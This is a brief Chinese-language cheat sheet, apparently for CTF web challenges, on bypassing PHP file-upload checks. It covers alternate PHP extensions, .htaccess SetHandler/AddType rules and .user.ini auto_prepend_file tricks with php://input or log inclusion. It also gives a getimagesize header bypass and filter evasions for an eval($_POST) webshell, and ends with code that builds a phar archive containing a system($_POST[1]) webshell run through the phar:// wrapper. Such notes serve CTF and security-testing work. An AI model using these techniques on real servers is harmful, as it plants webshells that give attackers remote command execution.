开头可能会用到的提示
- 除了PHP,php3 4 5 | phar | pht | phtml都是可能会解析的
- 如果是apache(httpd) , 使用.htaccess 写入SetHandler application/x-httpd-php , 那么上传任意文件会被解析成php
- 如果是apache(httpd) , 使用.htaccess, 写入AddType application/x-httpd-php .jpg 会把当前目录的jpg当成php解析
- nginx,使用.user.ini 写入(当前目录有php文件才会生效),auto_prepend_file=shell.jpg或者auto_append_file=shell.jpg,上传shell.jpg被解析为php
- .user.ini, auto_prepend_file=php://input | auto_append_file=php://input,也可以这样写,上传后访问上传目录的php里面,POST传入php代码
- auto_prepend_file | auto_append_file也可以尝试包含日志,直接日志注入
-
getimagesize绕过,如果使用了这个检测函数,可以在文件头写入下面的代码,让这个函数认为上传的文件是jpg
#define width 114
#define height 514 - []被检测可以使用{}
- eval($_POST[cmd]); 如果$_POST[cmd]用不了,可以array_pop($_POST),然后 post随便传入值即可
- 利用语言结构,使用include包含日志文件
- 如果空格被过滤,使用\n也就是0d,改十六进制数据
- include远程包含
一些总结点
pear文件包含
首先生成一个phar文件,执行下面的php代码
<?php
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','<?php system($_POST[1]);?>');
$phar -> stopBuffering();
?>
生成的phar.phar里面,如果用phar协议读取(搭配文件包含),phar:///phar.phar/test.txt,那么里面的代码就会被执行,phar.phar也可以是其他文件名,例如p.zip